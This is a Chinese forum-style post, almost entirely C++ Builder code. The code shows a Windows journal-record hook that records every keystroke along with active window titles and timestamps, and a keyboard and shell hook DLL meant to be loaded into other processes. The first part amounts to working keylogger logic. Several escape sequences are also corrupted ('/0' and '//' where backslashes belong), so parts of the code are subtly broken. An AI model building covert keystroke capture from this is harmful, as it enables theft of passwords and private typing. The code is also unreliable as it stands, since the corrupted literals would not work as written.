以下是一个键盘Hook的例子好好看看.(BCB的Delphi应该差不多)<br>HHOOK g_hLogHook = NULL; //钩子变量<br>HWND g_hLastFocus = NULL; //记录上一次得到焦点的窗口句柄<br>const int KeyPressMask = 0x80000000; //键盘掩码常量<br>char g_PrvChar; //保存上一次按键值<br><br>HOOKPROC JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)<br>{<br> if (iCode< 0 )<br> return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);<br> if (iCode == HC_ACTION)<br> {<br> EVENTMSG *pEvt=(EVENTMSG *)lParam;<br> int i;<br> HWND hFocus; //保存当前活动窗口句柄<br> char szTitle[256]; //当前窗口名称<br> char szTime[128]; //保存当前的日期和时间<br><br> if (pEvt->message==WM_KEYDOWN)<br> {<br> int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值<br> char ch;<br> char str[10];<br><br> //取得当前活动窗口句柄<br> hFocus=GetActiveWindow();<br><br> if(g_hLastFocus != hFocus) //当前活动窗口是否改变<br> {<br> GetWindowText(hFocus,szTitle,256);<br> g_hLastFocus = hFocus;<br> strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间<br> Form1->Memo1->Lines->Add(AnsiString(szTime) + "-->" + szTitle);<br> }<br> int iShift=GetKeyState(0x10);<br><br> //测试SHIFT,CAPTION,NUMLOCK等键是否按下<br> int iCapital=GetKeyState(0x14);<br> int iNumLock=GetKeyState(0x90);<br> bool bShift=((iShift & KeyPressMask)==KeyPressMask);<br> bool bCapital=((iCapital & 1)==1);<br> bool bNumLock=((iNumLock & 1)==1);<br><br> if (vKey >=48 && vKey <=57) // 数字0-9<br> {<br> if (!bShift)<br> Form1->Memo1->Lines->Add((char)vKey);<br> }<br> if (vKey >=65 && vKey <=90) // A-Z a-z<br> {<br> if (!bCapital)<br> {<br> if (bShift) ch=vKey;<br> else ch=vKey + 32;<br> }<br> else<br> {<br> if (bShift) ch=vKey + 32;<br> else ch=vKey;<br> }<br> Form1->Memo1->Lines->Add(ch);<br> }<br> if (vKey >=96 && vKey <=105) // 小键盘0-9<br> {<br> if (bNumLock)<br> Form1->Memo1->Lines->Add( (char)(vKey-96+48));<br> }<br> if (vKey>=186 && vKey<=222) // 其他键<br> {<br> switch (vKey)<br> {<br> case 186:if (!bShift) ch=';'; else ch=':'; break;<br> case 187:if (!bShift) ch='='; else ch='+'; break;<br> case 188:if (!bShift) ch=','; else ch='<'; break;<br> case 189:if (!bShift) ch='-'; else ch='_'; break;<br> case 190:if (!bShift) ch='.'; else ch=' >';break;<br> case 191:if (!bShift) ch='/'; else ch='?'; break;<br> case 192:if (!bShift) ch='`'; else ch='~'; break;<br> case 219:if (!bShift) ch='['; else ch='{'; break;<br> case 220:if (!bShift) ch='//';else ch='|'; break;<br> case 221:if (!bShift) ch=']'; else ch='}'; break;<br> case 222:if (!bShift) ch='/'';else ch='/"';break;<br> default: ch='n'; break;<br> }<br> if (ch!='n')<br> Form1->Memo1->Lines->Add( (char)ch);<br> }<br> if (vKey >=112 && vKey<=123) // 功能键 [F1]-[F12]<br> {<br> //wParam<br> str[0] = 'F';<br> str[1] = '1' + (vKey - 112);<br> str[2] = '/0';<br> }<br> if (vKey >=8 && vKey <=46) //方向键<br> {<br> switch (vKey)<br> {<br> case 8: strcpy(str,"[BK]"); break;<br> case 9: strcpy(str,"[TAB]");break;<br> case 13:strcpy(str,"[EN]"); break;<br> case 32:strcpy(str,"[SP]"); break;<br> case 33:strcpy(str,"[PU]"); break;<br> case 34:strcpy(str,"[PD]"); break;<br> case 35:strcpy(str,"[END]");break;<br> case 36:strcpy(str,"[HOME]");break;<br> case 37:strcpy(str,"[LF]"); break;<br> case 38:strcpy(str,"[UF]"); break;<br> case 39:strcpy(str,"[RF]"); break;<br> case 40:strcpy(str,"[DF]"); break;<br> case 45:strcpy(str,"[INS]");break;<br> case 46:strcpy(str,"[DEL]");break;<br> default:ch='n';break;<br> }<br> if (ch!='n')<br> {<br> if (g_PrvChar != vKey)<br> {<br> Form1->Memo1->Lines->Add( str);<br> g_PrvChar = vKey;<br> }<br> }<br> }<br> }<br> if(pEvt->message==WM_LBUTTONDOWN || pEvt->message ==WM_RBUTTONDOWN)<br> {<br> hFocus=GetActiveWindow();<br> if (g_hLastFocus!=hFocus)<br> {<br> g_hLastFocus=hFocus;<br> GetWindowText(hFocus,szTitle,256);<br> strcpy(szTime,DateTimeToStr(Now()).c_str());<br><br> Form1->Memo1->Lines->Add( AnsiString(szTime) + " 激活窗口 ->" + szTitle);<br> //得到当前的日期时间<br> }<br> }<br> }<br> return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);<br>}<br>2. Shell Hook<br>int SHELL_EVENT;<br>int Key_EVENT;<br>HANDLE MemFile;<br>HANDLE HookMutex;<br>PShared Shared;<br>HINSTANCE HInstance;<br><br>LRESULT __stdcall GetShellHook(int Code,WPARAM wParam,LPARAM lParam)<br>{<br> if (Code >= 0)<br> {<br> PostMessage(Shared->Receiver,SHELL_EVENT,wParam,Code);<br> }<br> return CallNextHookEx(Shared->ShellHook, Code, wParam, lParam);<br>}<br><br>LRESULT __stdcall GetKeyHook(int Code,WPARAM wParam,LPARAM lParam)<br>{<br> if (Code == HC_ACTION )<br> {<br> PostMessage(Shared->Receiver,Key_EVENT,wParam,Code);<br> }<br> return CallNextHookEx(Shared->ShellHook, Code, wParam, lParam);<br>}<br>void __stdcall StartWatching(TWatchType WatchType)<br>{<br> try{<br> WaitForSingleObject(HookMutex,INFINITE);<br> switch( WatchType)<br> {<br> case wtSHELL:<br> {<br> if ((Shared->ShellCount == 0) && (Shared->ShellHook == NULL))<br> {<br> Shared->ShellHook = SetWindowsHookEx(WH_SHELL, (HOOKPROC)GetShellHook, HInstance , 0);<br> Shared->ShellCount++;<br> }<br> }<br> break;<br> case wtKEYBOARD:<br> {<br> if ((Shared->KeyCount == 0) && (Shared->KeyHook == NULL))<br> {<br> Shared->KeyHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)GetKeyHook, HInstance , 0);<br> Shared->KeyCount++;<br> }<br> }<br> break;<br> }<br> }<br> __finally<br> {<br> ReleaseMutex(HookMutex);<br> }<br>}<br>// stops this type of watch<br>void __stdcall StopWatching(TWatchType WatchType)<br>{<br> try{<br> WaitForSingleObject(HookMutex,INFINITE);<br> switch(WatchType)<br> {<br> case wtSHELL:<br> {<br> Shared->ShellCount--;<br> if ((Shared->ShellCount <= 0)&&(Shared->ShellHook != 0))<br> {<br> UnhookWindowsHookEx(Shared->ShellHook);<br> Shared->ShellHook = NULL;<br> Shared->ShellCount = 0;<br> }<br> }<br> break;<br> case wtKEYBOARD:<br> {<br> Shared->KeyCount--;<br> if ((Shared->KeyCount <= 0) && (Shared->KeyHook != 0))<br> {<br> UnhookWindowsHookEx(Shared->KeyHook);<br> Shared->KeyHook = NULL;<br> Shared->KeyCount= 0;<br> }<br> }<br> break;<br> }<br> }<br> __finally<br> {<br> ReleaseMutex(HookMutex);<br> }<br>}<br>// frees all Hooks<br>void __stdcall StopAll(void)<br>{<br> bool AlreadyStopped;<br> try{<br> WaitForSingleObject(HookMutex,INFINITE);<br> AlreadyStopped = ((Shared->ShellCount == 0) && (Shared->KeyCount == 0));<br> Shared->ShellCount = 0;<br> Shared->KeyCount = 0;<br> }<br> __finally<br> {<br> ReleaseMutex(HookMutex);<br> }<br> if (!AlreadyStopped)<br> {<br> StopWatching(wtSHELL);<br> StopWatching(wtKEYBOARD);<br> }<br>}<br>// returns, whether any Hooks are installed<br>bool __stdcall StillWatching(void)<br>{<br> try{<br> WaitForSingleObject(HookMutex,INFINITE);<br> return((Shared->ShellCount > 0) || (Shared->KeyCount>0));<br> }<br> __finally<br> {<br> ReleaseMutex(HookMutex);<br> return false;<br> }<br>}<br>void __stdcall SetReceiver(HANDLE Receiver)<br>{<br> try{<br> WaitForSingleObject(HookMutex,INFINITE);<br><br> Shared->Receiver = Receiver;<br> }<br> __finally<br> {<br> ReleaseMutex(HookMutex);<br> }<br>}<br>void __stdcall Intro(void)<br>{<br> // called everytime when the dll is injected into another context<br> SHELL_EVENT = RegisterWindowMessage(MSG_BOME_SHELL_EVENT);<br> Key_EVENT = RegisterWindowMessage(MSG_BOME_KEY_EVENT);<br><br> HookMutex = CreateMutex(NULL,true,HookMutexName);<br> MemFile = OpenFileMapping(FILE_MAP_WRITE,false,HookMemFileName);<br> if( MemFile == NULL)<br> {<br> MemFile =CreateFileMapping((HANDLE)0xFFFFFFFF,NULL,PAGE_READWRITE,0,sizeof(TShared),HookMemFileName);<br> }<br> Shared = (TShared *)MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);<br> if (MemFile == NULL )<br> {<br> memset(Shared,0,sizeof(TShared));<br> }<br> Shared->AttachCount++;<br> ReleaseMutex(HookMutex);<br>}<br>void __stdcall Extro(void)<br>{<br> bool fini;<br> try{<br> WaitForSingleObject(HookMutex,INFINITE);<br> Shared->AttachCount--;<br> fini = (Shared->AttachCount == 0);<br> }<br> __finally<br> {<br> ReleaseMutex(HookMutex);<br> }<br> if (fini)<br> {<br> StopAll();<br> UnmapViewOfFile(Shared);<br> CloseHandle(MemFile);<br> CloseHandle(HookMutex);<br> }<br>}